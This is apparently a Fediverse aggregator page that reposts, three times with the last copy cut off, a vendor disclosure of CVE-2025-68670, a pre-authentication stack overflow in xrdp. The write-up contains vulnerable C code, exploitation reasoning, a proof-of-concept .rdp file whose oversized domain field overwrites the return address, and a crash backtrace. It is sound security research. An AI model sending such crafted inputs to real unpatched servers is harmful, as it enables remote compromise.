home.social

#ifdef — Public Fediverse posts

Live and recent posts from across the Fediverse tagged #ifdef, aggregated by home.social.

  1. CVE-2025-68670: discovering an RCE vulnerability in xrdp

    In addition to KasperskyOS-powered solutions, Kaspersky offers various utility software to streamline business operations. For instance, users of Kaspersky Thin Client, an operating system for thin clients, can also purchase Kaspersky USB Redirector, a module that expands the capabilities of the xrdp remote desktop server for Linux. This module enables access to local USB devices, such as flash drives, tokens, smart cards, and printers, within a remote desktop session – all while maintaining connection security.

    We take the security of our products seriously and regularly conduct security assessments. Kaspersky USB Redirector is no exception. Last year, during a security audit of this tool, we discovered a remote code execution vulnerability in the xrdp server, which was assigned the identifier CVE-2025-68670. We reported our findings to the project maintainers, who responded quickly: they fixed the vulnerability in version 0.10.5, backported the patch to versions 0.9.27 and 0.10.4.1, and issued a security bulletin. This post breaks down the details of CVE-2025-68670 and provides recommendations for staying protected.

    Client data transmission via RDP


    Establishing an RDP connection is a complex, multi-stage process where the client and server exchange various settings. In the context of the vulnerability we discovered, we are specifically interested in the Secure Settings Exchange, which occurs immediately before client authentication. At this stage, the client sends protected credentials to the server within a Client Info PDU (protocol data unit with client info): username, password, auto-reconnect cookies, and so on. These data points are bundled into a TS_INFO_PACKET structure and can be represented as Unicode strings up to 512 bytes long, the last of which must be a null terminator. In the xrdp code, this corresponds to the xrdp_client_info structure, which looks as follows:
    {
    [..SNIP..]
    char username[INFO_CLIENT_MAX_CB_LEN];
    char password[INFO_CLIENT_MAX_CB_LEN];
    char domain[INFO_CLIENT_MAX_CB_LEN];
    char program[INFO_CLIENT_MAX_CB_LEN];
    char directory[INFO_CLIENT_MAX_CB_LEN];
    [..SNIP..]
    }
    The value of the INFO_CLIENT_MAX_CB_LEN constant corresponds to the maximum string length and is defined as follows:
    #define INFO_CLIENT_MAX_CB_LEN 512
    When transmitting Unicode data, the client uses the UTF-16 encoding. However, the server converts the data to UTF-8 before saving it.
    if (ts_info_utf16_in( //
    [1] s, len_domain, self->rdp_layer->client_info.domain, sizeof(self->rdp_layer->client_info.domain)) != 0) //
    [2]{
    [..SNIP..]
    }
    The size of the buffer for unpacking the domain name in UTF-8 [2] is passed to the ts_info_utf16_in function [1], which implements buffer overflow protection [3].
    static int ts_info_utf16_in(struct stream *s, int src_bytes, char *dst, int dst_len)
    {
    int rv = 0;
    LOG_DEVEL(LOG_LEVEL_TRACE, "ts_info_utf16_in: uni_len %d, dst_len %d", src_bytes, dst_len);
    if (!s_check_rem_and_log(s, src_bytes + 2, "ts_info_utf16_in"))
    {
    rv = 1;
    }
    else
    {
    int term;
    int num_chars = in_utf16_le_fixed_as_utf8(s, src_bytes / 2,
    dst, dst_len);
    if (num_chars > dst_len) //
    [3] {
    LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: output buffer overflow"); rv = 1;
    }
    / / String should be null-terminated. We haven't read the terminator yet
    in_uint16_le(s, term);
    if (term != 0)
    {
    LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: bad terminator. Expected 0, got %d", term);
    rv = 1;
    }
    }
    return rv;
    }
    Next, the in_utf16_le_fixed_as_utf8_proc function, where the actual data conversion from UTF-16 to UTF-8 takes place, checks the number of bytes written [4] as well as whether the string is null-terminated [5].
    {
    unsigned int rv = 0;
    char32_t c32;
    char u8str[MAXLEN_UTF8_CHAR];
    unsigned int u8len;
    char *saved_s_end = s->end;

    // Expansion of S_CHECK_REM(s, n*2) using passed-in file and line #ifdef USE_DEVEL_STREAMCHECK
    parser_stream_overflow_check(s, n * 2, 0, file, line); #endif
    // Temporarily set the stream end pointer to allow us to use
    // s_check_rem() when reading in UTF-16 words
    if (s->end - s->p > (int)(n * 2))
    {
    s->end = s->p + (int)(n * 2);
    }

    while (s_check_rem(s, 2))
    {
    c32 = get_c32_from_stream(s);
    u8len = utf_char32_to_utf8(c32, u8str);
    if (u8len + 1 <= vn) //
    [4] {
    /* Room for this character and a terminator. Add the character */
    unsigned int i;
    for (i = 0 ; i < u8len ; ++i)
    {
    v[i] = u8str[i];
    }

    v n -= u8len;
    v += u8len;
    }

    else if (vn > 1)
    {
    /* We've skipped a character, but there's more than one byte
    * remaining in the output buffer. Mark the output buffer as
    * full so we don't get a smaller character being squeezed into
    * the remaining space */
    vn = 1;
    }

    r v += u8len;
    }
    // Restore stream to full length s->end = saved_s_end;
    if (vn > 0)
    {
    *v = '\0'; //
    [5] }
    + +rv;
    return rv;
    }
    Consequently, up to 512 bytes of input data in UTF-16 are converted into UTF-8 data, which can also reach a size of up to 512 bytes.

    CVE-2025-68670: an RCE vulnerability in xrdp


    The vulnerability exists within the xrdp_wm_parse_domain_information function, which processes the domain name saved on the server in UTF-8. Like the functions described above, this one is called before client authentication, meaning exploitation does not require valid credentials. The call stack below illustrates this.
    x rdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
    int decode, char *resultBuffer)
    xrdp_login_wnd_create(struct xrdp_wm *self)
    xrdp_wm_init(struct xrdp_wm *self)
    xrdp_wm_login_state_changed(struct xrdp_wm *self)
    xrdp_wm_check_wait_objs(struct xrdp_wm *self)
    xrdp_process_main_loop(struct xrdp_process *self)
    The code snippet where the vulnerable function is called looks like this:
    char resultIP[256]; //
    [7][..SNIP..]
    combo->item_index = xrdp_wm_parse_domain_information(
    self->session->client_info->domain, //
    [6] combo->data_list->count, 1,
    resultIP /* just a dummy place holder, we ignore
    */ );
    As you can see, the first argument of the function in line [6] is the domain name up to 512 bytes long. The final argument is the resultIP buffer of 256 bytes (as seen in line [7]). Now, let’s look at exactly what the vulnerable function does with these arguments.
    static int
    xrdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
    int decode, char *resultBuffer)
    {
    int ret;
    int pos;
    int comboxindex;
    char index[2];

    /* If the first char in the domain name is '_' we use the domain name as IP*/
    ret = 0; /* default return value */
    /* resultBuffer assumed to be 256 chars */
    g_memset(resultBuffer, 0, 256);
    if (originalDomainInfo[0] == '_') //
    [8] {
    /* we try to locate a number indicating what combobox index the user
    * prefer the information is loaded from domain field, from the client
    * We must use valid chars in the domain name.
    * Underscore is a valid name in the domain.
    * Invalid chars are ignored in microsoft client therefore we use '_'
    * again. this sec '__' contains the split for index.*/
    pos = g_pos(&originalDomainInfo[1], "__"); //
    [9] if (pos > 0)
    {
    /* an index is found we try to use it */
    LOG(LOG_LEVEL_DEBUG, "domain contains index char __");
    if (decode)
    {
    [..SNIP..]
    }
    / * pos limit the String to only contain the IP */
    g_strncpy(resultBuffer, &originalDomainInfo[1], pos); //
    [10] }
    else
    {
    LOG(LOG_LEVEL_DEBUG, "domain does not contain _");
    g_strncpy(resultBuffer, &originalDomainInfo[1], 255);
    }
    }
    return ret;
    }
    As seen in the code, if the first character of the domain name is an underscore (line [8]), a portion of the domain name – starting from the second character and ending with the double underscore (“__”) – is written into the resultIP buffer (line [9]). Since the domain name can be up to 512 bytes long, it may not fit into the buffer even if it’s technically well-formed (line [10]). Consequently, the overflow data will be written to the thread stack, potentially modifying the return address. If an attacker crafts a domain name that overflows the stack buffer and replaces the return address with a value they control, execution flow will shift according to the attacker’s intent upon returning from the vulnerable function, allowing for arbitrary code execution within the context of the compromised process (in this case, the xrdp server).

    To exploit this vulnerability, the attacker simply needs to specify a domain name that, after being converted to UTF-8, contains more than 256 bytes between the initial “_” and the subsequent “__”. Given that the conversion follows specific rules easily found online, this is a straightforward task: one can simply take advantage of the fact that the length of the same string can vary between UTF-16 and UTF-8. In short, this involves avoiding ASCII and certain other characters that may take up more space in UTF-16 than in UTF-8, while also being careful not to abuse characters that expand significantly after conversion. If the resulting UTF-8 domain name exceeds the 512-byte limit, a conversion error will occur.

    PoC


    As a PoC for the discovered vulnerability, we created the following RDP file containing the RDP server’s IP address and a long domain name designed to trigger a buffer overflow. In the domain name, we used a specific number of K (U+041A) characters to overwrite the return address with the string “AAAAAAAA”. The contents of the RDP file are shown below:
    alternate full address:s:172.22.118.7
    full address:s:172.22.118.7
    domain:s:_veryveryveryverKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKeryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveaaaaaaaaryveryveryveryveryveryveryveryveryveryveryveryverylongdoAAAAAAAA__0
    username:s:testuser
    When you open this file, the mstsc.exe process connects to the specified server. The server processes the data in the file and attempts to write the domain name into the buffer, which results in a buffer overflow and the overwriting of the return address. If you look at the xrdp memory dump at the time of the crash, you can see that both the buffer and the return address have been overwritten. The application terminates during the stack canary check. The example below was captured using the gdb debugger.
    gef➤ bt
    #0 __pthread_kill_implementation (no_tid=0x0, signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:44
    #1 __pthread_kill_internal (signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:78
    #2 __GI___pthread_kill (threadid=0x7adb2dc71740, signo=signo@entry=0x6) at./nptl/pthread_kill.c:89
    #3 0x00007adb2da42476 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/posix/raise.c:26
    #4 0x00007adb2da287f3 in __GI_abort () at ./stdlib/abort.c:79
    #5 0x00007adb2da89677 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7adb2dbdb92e "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:156
    #6 0x00007adb2db3660a in __GI___fortify_fail (msg=msg@entry=0x7adb2dbdb916 "stack smashing detected") at ./debug/fortify_fail.c:26
    #7 0x00007adb2db365d6 in __stack_chk_fail () at ./debug/stack_chk_fail.c:24
    #8 0x000063654a2e5ad5 in ?? ()
    #9 0x4141414141414141 in ?? ()
    #10 0x00007adb00000a00 in ?? ()
    #11 0x0000000000050004 in ?? ()
    #12 0x00007fff91732220 in ?? ()
    #13 0x000000000000030a in ?? ()
    #14 0xfffffffffffffff8 in ?? ()
    #15 0x000000052dc71740 in ?? ()
    #16 0x3030305f70647278 in ?? ()
    #17 0x616d5f6130333030 in ?? ()
    #18 0x00636e79735f6e69 in ?? ()
    #19 0x0000000000000000 in ?? ()

    Protection against vulnerability exploitation


    It is worth noting that the vulnerable function can be protected by a stack canary via compiler settings. In most compilers, this option is enabled by default, which prevents an attacker from simply overwriting the return address and executing a ROP chain. To successfully exploit the vulnerability, the attacker would first need to obtain the canary value.

    The vulnerable function is also referenced by the xrdp_wm_show_edits function; however, even in that case, if the code is compiled with secure settings (using stack canaries), the most trivial exploitation scenario remains unfeasible.

    Nevertheless, a stack canary is not a panacea. An attacker could potentially leak or guess its value, allowing them to overwrite the buffer and the return address while leaving the canary itself unchanged. In the security bulletin dedicated to CVE-2025-68670, the xrdp maintainers advise against relying solely on stack canaries when using the project.

    Vulnerability remediation timeline


    • 12/05/2025: we submitted the vulnerability report via github.com/neutrinolabs/xrdp/s…
    • 12/05/2025: the project maintainers immediately confirmed receipt of the report and stated they would review it shortly.
    • 12/15/2025: investigation and prioritization of the vulnerability began.
    • 12/18/2025: the maintainers confirmed the vulnerability and began developing a patch.
    • 12/24/2025: the vulnerability was assigned the identifier CVE-2025-68670.
    • 01/27/2026: the patch was merged into the project’s main branch.


    Conclusion


    Taking a responsible approach to code makes not only our own products more solid but also enhances popular open-source projects. We have previously shared how security assessments of KasperskyOS-based solutions – such as Kaspersky Thin Client and Kaspersky IoT Secure Gateway – led to the discovery of several vulnerabilities in Suricata and FreeRDP, which project maintainers quickly patched. CVE-2025-68670 is yet another one of those stories.

    However, discovering a vulnerability is only half the battle. We would like to thank the xrdp maintainers for their rapid response to our report, for fixing the vulnerability, and for issuing a security bulletin detailing the issue and risk mitigation options.

    securelist.com/cve-2025-68670/…

  2. CVE-2025-68670: discovering an RCE vulnerability in xrdp

    In addition to KasperskyOS-powered solutions, Kaspersky offers various utility software to streamline business operations. For instance, users of Kaspersky Thin Client, an operating system for thin clients, can also purchase Kaspersky USB Redirector, a module that expands the capabilities of the xrdp remote desktop server for Linux. This module enables access to local USB devices, such as flash drives, tokens, smart cards, and printers, within a remote desktop session – all while maintaining connection security.

    We take the security of our products seriously and regularly conduct security assessments. Kaspersky USB Redirector is no exception. Last year, during a security audit of this tool, we discovered a remote code execution vulnerability in the xrdp server, which was assigned the identifier CVE-2025-68670. We reported our findings to the project maintainers, who responded quickly: they fixed the vulnerability in version 0.10.5, backported the patch to versions 0.9.27 and 0.10.4.1, and issued a security bulletin. This post breaks down the details of CVE-2025-68670 and provides recommendations for staying protected.

    Client data transmission via RDP


    Establishing an RDP connection is a complex, multi-stage process where the client and server exchange various settings. In the context of the vulnerability we discovered, we are specifically interested in the Secure Settings Exchange, which occurs immediately before client authentication. At this stage, the client sends protected credentials to the server within a Client Info PDU (protocol data unit with client info): username, password, auto-reconnect cookies, and so on. These data points are bundled into a TS_INFO_PACKET structure and can be represented as Unicode strings up to 512 bytes long, the last of which must be a null terminator. In the xrdp code, this corresponds to the xrdp_client_info structure, which looks as follows:
    {
    [..SNIP..]
    char username[INFO_CLIENT_MAX_CB_LEN];
    char password[INFO_CLIENT_MAX_CB_LEN];
    char domain[INFO_CLIENT_MAX_CB_LEN];
    char program[INFO_CLIENT_MAX_CB_LEN];
    char directory[INFO_CLIENT_MAX_CB_LEN];
    [..SNIP..]
    }
    The value of the INFO_CLIENT_MAX_CB_LEN constant corresponds to the maximum string length and is defined as follows:
    #define INFO_CLIENT_MAX_CB_LEN 512
    When transmitting Unicode data, the client uses the UTF-16 encoding. However, the server converts the data to UTF-8 before saving it.
    if (ts_info_utf16_in( //
    [1] s, len_domain, self->rdp_layer->client_info.domain, sizeof(self->rdp_layer->client_info.domain)) != 0) //
    [2]{
    [..SNIP..]
    }
    The size of the buffer for unpacking the domain name in UTF-8 [2] is passed to the ts_info_utf16_in function [1], which implements buffer overflow protection [3].
    static int ts_info_utf16_in(struct stream *s, int src_bytes, char *dst, int dst_len)
    {
    int rv = 0;
    LOG_DEVEL(LOG_LEVEL_TRACE, "ts_info_utf16_in: uni_len %d, dst_len %d", src_bytes, dst_len);
    if (!s_check_rem_and_log(s, src_bytes + 2, "ts_info_utf16_in"))
    {
    rv = 1;
    }
    else
    {
    int term;
    int num_chars = in_utf16_le_fixed_as_utf8(s, src_bytes / 2,
    dst, dst_len);
    if (num_chars > dst_len) //
    [3] {
    LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: output buffer overflow"); rv = 1;
    }
    / / String should be null-terminated. We haven't read the terminator yet
    in_uint16_le(s, term);
    if (term != 0)
    {
    LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: bad terminator. Expected 0, got %d", term);
    rv = 1;
    }
    }
    return rv;
    }
    Next, the in_utf16_le_fixed_as_utf8_proc function, where the actual data conversion from UTF-16 to UTF-8 takes place, checks the number of bytes written [4] as well as whether the string is null-terminated [5].
    {
    unsigned int rv = 0;
    char32_t c32;
    char u8str[MAXLEN_UTF8_CHAR];
    unsigned int u8len;
    char *saved_s_end = s->end;

    // Expansion of S_CHECK_REM(s, n*2) using passed-in file and line #ifdef USE_DEVEL_STREAMCHECK
    parser_stream_overflow_check(s, n * 2, 0, file, line); #endif
    // Temporarily set the stream end pointer to allow us to use
    // s_check_rem() when reading in UTF-16 words
    if (s->end - s->p > (int)(n * 2))
    {
    s->end = s->p + (int)(n * 2);
    }

    while (s_check_rem(s, 2))
    {
    c32 = get_c32_from_stream(s);
    u8len = utf_char32_to_utf8(c32, u8str);
    if (u8len + 1 <= vn) //
    [4] {
    /* Room for this character and a terminator. Add the character */
    unsigned int i;
    for (i = 0 ; i < u8len ; ++i)
    {
    v[i] = u8str[i];
    }

    v n -= u8len;
    v += u8len;
    }

    else if (vn > 1)
    {
    /* We've skipped a character, but there's more than one byte
    * remaining in the output buffer. Mark the output buffer as
    * full so we don't get a smaller character being squeezed into
    * the remaining space */
    vn = 1;
    }

    r v += u8len;
    }
    // Restore stream to full length s->end = saved_s_end;
    if (vn > 0)
    {
    *v = '\0'; //
    [5] }
    + +rv;
    return rv;
    }
    Consequently, up to 512 bytes of input data in UTF-16 are converted into UTF-8 data, which can also reach a size of up to 512 bytes.

    CVE-2025-68670: an RCE vulnerability in xrdp


    The vulnerability exists within the xrdp_wm_parse_domain_information function, which processes the domain name saved on the server in UTF-8. Like the functions described above, this one is called before client authentication, meaning exploitation does not require valid credentials. The call stack below illustrates this.
    x rdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
    int decode, char *resultBuffer)
    xrdp_login_wnd_create(struct xrdp_wm *self)
    xrdp_wm_init(struct xrdp_wm *self)
    xrdp_wm_login_state_changed(struct xrdp_wm *self)
    xrdp_wm_check_wait_objs(struct xrdp_wm *self)
    xrdp_process_main_loop(struct xrdp_process *self)
    The code snippet where the vulnerable function is called looks like this:
    char resultIP[256]; //
    [7][..SNIP..]
    combo->item_index = xrdp_wm_parse_domain_information(
    self->session->client_info->domain, //
    [6] combo->data_list->count, 1,
    resultIP /* just a dummy place holder, we ignore
    */ );
    As you can see, the first argument of the function in line [6] is the domain name up to 512 bytes long. The final argument is the resultIP buffer of 256 bytes (as seen in line [7]). Now, let’s look at exactly what the vulnerable function does with these arguments.
    static int
    xrdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
    int decode, char *resultBuffer)
    {
    int ret;
    int pos;
    int comboxindex;
    char index[2];

    /* If the first char in the domain name is '_' we use the domain name as IP*/
    ret = 0; /* default return value */
    /* resultBuffer assumed to be 256 chars */
    g_memset(resultBuffer, 0, 256);
    if (originalDomainInfo[0] == '_') //
    [8] {
    /* we try to locate a number indicating what combobox index the user
    * prefer the information is loaded from domain field, from the client
    * We must use valid chars in the domain name.
    * Underscore is a valid name in the domain.
    * Invalid chars are ignored in microsoft client therefore we use '_'
    * again. this sec '__' contains the split for index.*/
    pos = g_pos(&originalDomainInfo[1], "__"); //
    [9] if (pos > 0)
    {
    /* an index is found we try to use it */
    LOG(LOG_LEVEL_DEBUG, "domain contains index char __");
    if (decode)
    {
    [..SNIP..]
    }
    / * pos limit the String to only contain the IP */
    g_strncpy(resultBuffer, &originalDomainInfo[1], pos); //
    [10] }
    else
    {
    LOG(LOG_LEVEL_DEBUG, "domain does not contain _");
    g_strncpy(resultBuffer, &originalDomainInfo[1], 255);
    }
    }
    return ret;
    }
    As seen in the code, if the first character of the domain name is an underscore (line [8]), a portion of the domain name – starting from the second character and ending with the double underscore (“__”) – is written into the resultIP buffer (line [9]). Since the domain name can be up to 512 bytes long, it may not fit into the buffer even if it’s technically well-formed (line [10]). Consequently, the overflow data will be written to the thread stack, potentially modifying the return address. If an attacker crafts a domain name that overflows the stack buffer and replaces the return address with a value they control, execution flow will shift according to the attacker’s intent upon returning from the vulnerable function, allowing for arbitrary code execution within the context of the compromised process (in this case, the xrdp server).

    To exploit this vulnerability, the attacker simply needs to specify a domain name that, after being converted to UTF-8, contains more than 256 bytes between the initial “_” and the subsequent “__”. Given that the conversion follows specific rules easily found online, this is a straightforward task: one can simply take advantage of the fact that the length of the same string can vary between UTF-16 and UTF-8. In short, this involves avoiding ASCII and certain other characters that may take up more space in UTF-16 than in UTF-8, while also being careful not to abuse characters that expand significantly after conversion. If the resulting UTF-8 domain name exceeds the 512-byte limit, a conversion error will occur.

    PoC


    As a PoC for the discovered vulnerability, we created the following RDP file containing the RDP server’s IP address and a long domain name designed to trigger a buffer overflow. In the domain name, we used a specific number of K (U+041A) characters to overwrite the return address with the string “AAAAAAAA”. The contents of the RDP file are shown below:
    alternate full address:s:172.22.118.7
    full address:s:172.22.118.7
    domain:s:_veryveryveryverKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKeryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveaaaaaaaaryveryveryveryveryveryveryveryveryveryveryveryverylongdoAAAAAAAA__0
    username:s:testuser
    When you open this file, the mstsc.exe process connects to the specified server. The server processes the data in the file and attempts to write the domain name into the buffer, which results in a buffer overflow and the overwriting of the return address. If you look at the xrdp memory dump at the time of the crash, you can see that both the buffer and the return address have been overwritten. The application terminates during the stack canary check. The example below was captured using the gdb debugger.
    gef➤ bt
    #0 __pthread_kill_implementation (no_tid=0x0, signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:44
    #1 __pthread_kill_internal (signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:78
    #2 __GI___pthread_kill (threadid=0x7adb2dc71740, signo=signo@entry=0x6) at./nptl/pthread_kill.c:89
    #3 0x00007adb2da42476 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/posix/raise.c:26
    #4 0x00007adb2da287f3 in __GI_abort () at ./stdlib/abort.c:79
    #5 0x00007adb2da89677 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7adb2dbdb92e "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:156
    #6 0x00007adb2db3660a in __GI___fortify_fail (msg=msg@entry=0x7adb2dbdb916 "stack smashing detected") at ./debug/fortify_fail.c:26
    #7 0x00007adb2db365d6 in __stack_chk_fail () at ./debug/stack_chk_fail.c:24
    #8 0x000063654a2e5ad5 in ?? ()
    #9 0x4141414141414141 in ?? ()
    #10 0x00007adb00000a00 in ?? ()
    #11 0x0000000000050004 in ?? ()
    #12 0x00007fff91732220 in ?? ()
    #13 0x000000000000030a in ?? ()
    #14 0xfffffffffffffff8 in ?? ()
    #15 0x000000052dc71740 in ?? ()
    #16 0x3030305f70647278 in ?? ()
    #17 0x616d5f6130333030 in ?? ()
    #18 0x00636e79735f6e69 in ?? ()
    #19 0x0000000000000000 in ?? ()

    Protection against vulnerability exploitation


    It is worth noting that the vulnerable function can be protected by a stack canary via compiler settings. In most compilers, this option is enabled by default, which prevents an attacker from simply overwriting the return address and executing a ROP chain. To successfully exploit the vulnerability, the attacker would first need to obtain the canary value.

    The vulnerable function is also referenced by the xrdp_wm_show_edits function; however, even in that case, if the code is compiled with secure settings (using stack canaries), the most trivial exploitation scenario remains unfeasible.

    Nevertheless, a stack canary is not a panacea. An attacker could potentially leak or guess its value, allowing them to overwrite the buffer and the return address while leaving the canary itself unchanged. In the security bulletin dedicated to CVE-2025-68670, the xrdp maintainers advise against relying solely on stack canaries when using the project.

    Vulnerability remediation timeline


    • 12/05/2025: we submitted the vulnerability report via github.com/neutrinolabs/xrdp/s…
    • 12/05/2025: the project maintainers immediately confirmed receipt of the report and stated they would review it shortly.
    • 12/15/2025: investigation and prioritization of the vulnerability began.
    • 12/18/2025: the maintainers confirmed the vulnerability and began developing a patch.
    • 12/24/2025: the vulnerability was assigned the identifier CVE-2025-68670.
    • 01/27/2026: the patch was merged into the project’s main branch.


    Conclusion


    Taking a responsible approach to code makes not only our own products more solid but also enhances popular open-source projects. We have previously shared how security assessments of KasperskyOS-based solutions – such as Kaspersky Thin Client and Kaspersky IoT Secure Gateway – led to the discovery of several vulnerabilities in Suricata and FreeRDP, which project maintainers quickly patched. CVE-2025-68670 is yet another one of those stories.

    However, discovering a vulnerability is only half the battle. We would like to thank the xrdp maintainers for their rapid response to our report, for fixing the vulnerability, and for issuing a security bulletin detailing the issue and risk mitigation options.

    securelist.com/cve-2025-68670/…

  3. CVE-2025-68670: discovering an RCE vulnerability in xrdp

    In addition to KasperskyOS-powered solutions, Kaspersky offers various utility software to streamline business operations. For instance, users of Kaspersky Thin Client, an operating system for thin clients, can also purchase Kaspersky USB Redirector, a module that expands the capabilities of the xrdp remote desktop server for Linux. This module enables access to local USB devices, such as flash drives, tokens, smart cards, and printers, within a remote desktop session – all while maintaining connection security.

    We take the security of our products seriously and regularly conduct security assessments. Kaspersky USB Redirector is no exception. Last year, during a security audit of this tool, we discovered a remote code execution vulnerability in the xrdp server, which was assigned the identifier CVE-2025-68670. We reported our findings to the project maintainers, who responded quickly: they fixed the vulnerability in version 0.10.5, backported the patch to versions 0.9.27 and 0.10.4.1, and issued a security bulletin. This post breaks down the details of CVE-2025-68670 and provides recommendations for staying protected.

    Client data transmission via RDP


    Establishing an RDP connection is a complex, multi-stage process where the client and server exchange various settings. In the context of the vulnerability we discovered, we are specifically interested in the Secure Settings Exchange, which occurs immediately before client authentication. At this stage, the client sends protected credentials to the server within a Client Info PDU (protocol data unit with client info): username, password, auto-reconnect cookies, and so on. These data points are bundled into a TS_INFO_PACKET structure and can be represented as Unicode strings up to 512 bytes long, the last of which must be a null terminator. In the xrdp code, this corresponds to the xrdp_client_info structure, which looks as follows:
    {
    [..SNIP..]
    char username[INFO_CLIENT_MAX_CB_LEN];
    char password[INFO_CLIENT_MAX_CB_LEN];
    char domain[INFO_CLIENT_MAX_CB_LEN];
    char program[INFO_CLIENT_MAX_CB_LEN];
    char directory[INFO_CLIENT_MAX_CB_LEN];
    [..SNIP..]
    }
    The value of the INFO_CLIENT_MAX_CB_LEN constant corresponds to the maximum string length and is defined as follows:
    #define INFO_CLIENT_MAX_CB_LEN 512
    When transmitting Unicode data, the client uses the UTF-16 encoding. However, the server converts the data to UTF-8 before saving it.
    if (ts_info_utf16_in( //
    [1] s, len_domain, self->rdp_layer->client_info.domain, sizeof(self->rdp_layer->client_info.domain)) != 0) //
    [2]{
    [..SNIP..]
    }
    The size of the buffer for unpacking the domain name in UTF-8 [2] is passed to the ts_info_utf16_in function [1], which implements buffer overflow protection [3].
    static int ts_info_utf16_in(struct stream *s, int src_bytes, char *dst, int dst_len)
    {
    int rv = 0;
    LOG_DEVEL(LOG_LEVEL_TRACE, "ts_info_utf16_in: uni_len %d, dst_len %d", src_bytes, dst_len);
    if (!s_check_rem_and_log(s, src_bytes + 2, "ts_info_utf16_in"))
    {
    rv = 1;
    }
    else
    {
    int term;
    int num_chars = in_utf16_le_fixed_as_utf8(s, src_bytes / 2,
    dst, dst_len);
    if (num_chars > dst_len) //
    [3] {
    LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: output buffer overflow"); rv = 1;
    }
    / / String should be null-terminated. We haven't read the terminator yet
    in_uint16_le(s, term);
    if (term != 0)
    {
    LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: bad terminator. Expected 0, got %d", term);
    rv = 1;
    }
    }
    return rv;
    }
    Next, the in_utf16_le_fixed_as_utf8_proc function, where the actual data conversion from UTF-16 to UTF-8 takes place, checks the number of bytes written [4] as well as whether the string is null-terminated [5].
    {
    unsigned int rv = 0;
    char32_t c32;
    char u8str[MAXLEN_UTF8_CHAR];
    unsigned int u8len;
    char *saved_s_end = s->end;

    // Expansion of S_CHECK_REM(s, n*2) using passed-in file and line #ifdef USE_DEVEL_STREAMCHECK
    parser_stream_overflow_check(s, n * 2, 0, file, line); #endif
    // Temporarily set the stream end pointer to allow us to use
    // s_check_rem() when reading in UTF-16 words
    if (s->end - s->p > (int)(n * 2))
    {
    s->end = s->p + (int)(n * 2);
    }

    while (s_check_rem(s, 2))
    {
    c32 = get_c32_from_stream(s);
    u8len = utf_char32_to_utf8(c32, u8str);
    if (u8len + 1 <= vn) //
    [4] {
    /* Room for this character and a terminator. Add the character */
    unsigned int i;
    for (i = 0 ; i < u8len ; ++i)
    {
    v[i] = u8str[i];
    }

    v n -= u8len;
    v += u8len;
    }

    else if (vn > 1)
    {
    /* We've skipped a character, but there's more than one byte
    * remaining in the output buffer. Mark the output buffer as
    * full so we don't get a smaller character being squeezed into
    * the remaining space */
    vn = 1;
    }

    r v += u8len;
    }
    // Restore stream to full length s->end = saved_s_end;
    if (vn > 0)
    {
    *v = '\0'; //
    [5] }
    + +rv;
    return rv;
    }
    Consequently, up to 512 bytes of input data in UTF-16 are converted into UTF-8 data, which can also reach a size of up to 512 bytes.

    CVE-2025-68670: an RCE vulnerability in xrdp


    The vulnerability exists within the xrdp_wm_parse_domain_information function, which processes the domain name saved on the server in UTF-8. Like the functions described above, this one is called before client authentication, meaning exploitation does not require valid credentials. The call stack below illustrates this.
    x rdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
    int decode, char *resultBuffer)
    xrdp_login_wnd_create(struct xrdp_wm *self)
    xrdp_wm_init(struct xrdp_wm *self)
    xrdp_wm_login_state_changed(struct xrdp_wm *self)
    xrdp_wm_check_wait_objs(struct xrdp_wm *self)
    xrdp_process_main_loop(struct xrdp_process *self)
    The code snippet where the vulnerable function is called looks like this:
    char resultIP[256]; //
    [7][..SNIP..]
    combo->item_index = xrdp_wm_parse_domain_information(
    self->session->client_info->domain, //
    [6] combo->data_list->count, 1,
    resultIP /* just a dummy place holder, we ignore
    */ );
    As you can see, the first argument of the function in line [6] is the domain name up to 512 bytes long. The final argument is the resultIP buffer of 256 bytes (as seen in line [7]). Now, let’s look at exactly what the vulnerable function does with these arguments.
    static int
    xrdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
    int decode, char *resultBuffer)
    {
    int ret;
    int pos;
    int comboxindex;
    char index[2];

    /* If the first char in the domain name is '_' we use the domain name as IP*/
    ret = 0; /* default return value */
    /* resultBuffer assumed to be 256 chars */
    g_memset(resultBuffer, 0, 256);
    if (originalDomainInfo[0] == '_') //
    [8] {
    /* we try to locate a number indicating what combobox index the user
    * prefer the information is loaded from domain field, from the client
    * We must use valid chars in the domain name.
    * Underscore is a valid name in the domain.
    * Invalid chars are ignored in microsoft client therefore we use '_'
    * again. this sec '__' contains the split for index.*/
    pos = g_pos(&originalDomainInfo[1], "__"); //
    [9] if (pos > 0)
    {
    /* an index is found we try to use it */
    LOG(LOG_LEVEL_DEBUG, "domain contains index char __");
    if (decode)
    {
    [..SNIP..]
    }
    / * pos limit the String to only contain the IP */
    g_strncpy(resultBuffer, &originalDomainInfo[1], pos); //
    [10] }
    else
    {
    LOG(LOG_LEVEL_DEBUG, "domain does not contain _");
